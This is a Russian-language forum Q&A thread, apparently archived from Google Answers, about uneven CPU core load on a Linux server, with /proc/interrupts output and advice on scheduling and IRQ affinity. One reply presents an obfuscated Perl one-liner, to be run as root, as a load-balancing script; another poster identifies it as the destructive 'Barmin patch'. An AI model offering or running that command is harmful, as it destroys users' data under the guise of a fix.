Распределение нагрузки по ядрам процессора

компьютеры Linux

http://i002.radikal.ru/0910/f5/93d5125a40c1.png

Есть машина с четырёхъядерным процессором (AMD) и довольно большим количеством процессов, каждый из которых не слишком сильно нагружает процессор. Большинство нагрузки при этом почему-то падает на одно из ядер, остальные загружены гораздо меньше (см. скриншот).

Вопрос: почему не поровну и как сделать, чтобы распределялось более равномерно?


Примечание:
corochoone:
> Система сама автоматические выполняет балансировку, направляя очередной процесс на наименее загруженый процессор.

Ну так в этом и вопрос — почему ж не выполняет-то? 700-900 процессов — казалось бы, какая проблема в направлении их на менее загруженные ядра? Нет, нагрузка сгрудилась на одном ядре и не размазывается...
Дополнительная информация:
server:/home/user# cat /proc/interrupts
CPU0 CPU1 CPU2 CPU3
0: 16 0 0 0 IO-APIC-edge timer
1: 0 0 0 8 IO-APIC-edge i8042
6: 0 0 0 2 IO-APIC-edge floppy
8: 0 0 0 1 IO-APIC-edge rtc
9: 0 0 0 0 IO-APIC-fasteoi acpi
12: 0 0 0 4 IO-APIC-edge i8042
14: 0 1 361 110925 IO-APIC-edge pata_atiixp
15: 0 0 0 0 IO-APIC-edge pata_atiixp
16: 0 0 0 2 IO-APIC-fasteoi ohci_hcd:usb3, ohci_hcd:usb4
17: 0 0 0 0 IO-APIC-fasteoi ehci_hcd:usb1
18: 0 0 0 3 IO-APIC-fasteoi ohci_hcd:usb5, ohci_hcd:usb6, ohci_hcd:usb7
19: 0 0 0 0 IO-APIC-fasteoi ehci_hcd:usb2
22: 0 0 0 0 IO-APIC-fasteoi ahci
510: 2 185 354313 134935944 PCI-MSI-edge eth0
NMI: 0 0 0 0 Non-maskable interrupts
LOC: 5368834 5368819 5368791 5368763 Local timer interrupts
RES: 37629704 84821305 100436613 3347765 Rescheduling interrupts
CAL: 10880 10666 10996 11375 function call interrupts
TLB: 10115 6636 4704 2189 TLB shootdowns
TRM: 0 0 0 0 Thermal event interrupts
THR: 0 0 0 0 Threshold APIC interrupts
SPU: 0 0 0 0 Spurious interrupts
ERR: 0
server:/home/user#

510-е IRQ можно перетащить на 0-е, к примеру, ядро с помощью /proc/irq/510/smp_affinity, но ПОЧЕМУ оно не обрабатывается на всех ядрах равномерно?

Примечание:
agronom:
> На скриншоте 67%, другие ядра загружены по 5-7%. Где тут 100%-я загрузка?
Если нужно распределить работу _одной_ программы на 4 ядра, то в этой программе должна быть реализована многопоточность
(т.е. программой запускаются отдельные процессы, которые контролируются основным).

Ну не говорил я ни того, ни другого. Ни про 100% нагрузку, ни про распараллеливание ОДНОЙ программы. Читайте внимательнее — я спрашиваю, как добиться РАВНОЙ вычислительной нагрузки на всех ядрах, и почему этого не происходит автоматически. Понимаете?

А она сейчас различается на порядок. При том, что перекинуть сотню-другую процессов на относительно незагруженные ядра CPU вроде как проблем составлять не должно. Ну или создавать новые процессы на незагруженных ядрах. Однако же этого не происходит.

Примечание:
yggdrasill, спасибо за совет. Заскучаю — обязательно попробую его в деле.

Хотел бы уточнить, что 1) первая часть моего вопроса не о починке; 2) Вопрос в целом появился после и в результате «поломки», хотя это в нём и не отражено. Так что Ваша добрая ирония немного не в тему.
Ответы:
Да, ничего страшного нет. При большой нагрузке будут работать все ядра. Есть вот такая программа по оптимизации работы многоядерных процессоров. Я ее поставил, видимых на глаз изменений не ощютил и деинсталировал - не люблю лишние программы в автозагрузке. Попробуйте, может будет полезной:
Все правильно, так и должно быть.
Не поровну, потому что один процесс как раз и обслуживается одним ядром, т.е. нельзя сделать так, чтобы один процесс обслуживался одновременно несколькими процессорами. Система сама автоматические выполняет балансировку, направляя очередной процесс на наименее загруженый процессор. При повышении общей нагрузки на систему, будет выравниваться и загрузка по процессорам.
На скриншоте 67%, другие ядра загружены по 5-7%. Где тут 100%-я загрузка?
Если нужно распределить работу _одной_ программы на 4 ядра, то в этой программе должна быть реализована многопоточность
(т.е. программой запускаются отдельные процессы, которые контролируются основным).
Сами процессы не распараллеливается. Система только определяет на каких ядрах они выполняются.
Большинство программ выполняются в одном процессе, меньше в двух, в нескольких еще реже.
Аффтар вопроса занимается чепухой. Правило "не сломалось -- не чини" не дошло до него через голову, так может дойдёт через руки.
Традиционно, лучшим скриптом для распределения нагрузки между ядрами, и дажепроцессорами, считается однострочник на perl:
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Выполнять, естественно, из-под рута.
2 yggdrasill
Ты отморозок???!!! Это же патч Бармина! Народ, не запускайте этот скрипт, он удаляет все подряд! А ты, малолетний красноглазик, если думаешь, что почитав луркмоар, стал крутым хакером, то иди в пень!
ctacb, а что, если погуглить текст скрипта, то ты попадаешь на лурк? В таком случае попробуй научиться включать голову раньше чем гугл (на ЛОРе должны научить, если попросишь), а потом уж говори о красноглазии и малолетстве. Видишь ли, умные люди, неумные люди и perl -- всё это существовало и до гугла, а гугл не есть замена головному мозгу.
2 yggdrasill
Не понял суть наезда. С чем связано утверждение, что у меня нет головного мозга? С тем, что "шутку" тебе испортил? Или с тем, что заподозрил тебя в чтении луркмора? А ведь это шуточка в лурко#бском духе. На ЛОРе все-таки так не шутят (вроде бы, давно там не был).
ctacb, "однострочник на perl -- шутка в духе лурка" напоминает мне другое высказывание -- что "Брежнев -- политик эпохи Пугачёвой". Этот скрипт существовал задолго до лурка, не говоря уж про менее художественные версии патча. А "суть наезда", как ты изволил выразиться, состоит в том, что не всякий, рекомендующий патч Бармина, -- "отморозок, красноглазик и мнит себя крутым хакером". Ты сначала включил бы голову и подумал, кто, когда, кому и почему обычно даёт такие рекомендации.
2 yggdrasill
Вот сейчас включил голову и подумал, что, видимо, такие рекомендации дают обладатели маленьких пинусов, которые не задумываются, что не все могут отличить патч Бармина от прочих перловых скриптов (хотя бы по причине того, что их профессии, хобби и пр. далеки от программирования, скажем, на Перле). А кому они дают такие рекомендации - на счетчик просмотров посмотри, все ли из этих людей что-то соображают в программировании? А если не соображают - это повод подсовывать им данный скрипт?
Вам надо разобраться с привязкой прерываний от сети к процессору. Возможно скедулер оставляет процесс, работающий с сетью ближе к процессору, обрабатывающему прерывание.
Многие программы не поддерживают распределение своей нагруки на несколько ядер. Можно вручную процессу указывать соответствие ядрам в диспетчере задачь, что муторно, да и при перезагрузке приложения прийдётся всё делать по новому. Есть утилитка CPU-Control, которая может задавать соответствие ядрам, и автоматически его регулировать. Правда тулза не обновлялась с 2007 г. поэтому, многие современные процессоры не поддерживает (или не полностью).


15 лет назад

RPI.su - самая большая русскоязычная база вопросов и ответов. Наш проект был реализован как продолжение популярного сервиса otvety.google.ru, который был закрыт и удален 30 апреля 2015 года. Мы решили воскресить полезный сервис Ответы Гугл, чтобы любой человек смог публично узнать ответ на свой вопрос у интернет сообщества.

Все вопросы, добавленные на сайт ответов Google, мы скопировали и сохранили здесь. Имена старых пользователей также отображены в том виде, в котором они существовали ранее. Только нужно заново пройти регистрацию, чтобы иметь возможность задавать вопросы, или отвечать другим.

Чтобы связаться с нами по любому вопросу О САЙТЕ (реклама, сотрудничество, отзыв о сервисе), пишите на почту [email protected]. Только все общие вопросы размещайте на сайте, на них ответ по почте не предоставляется.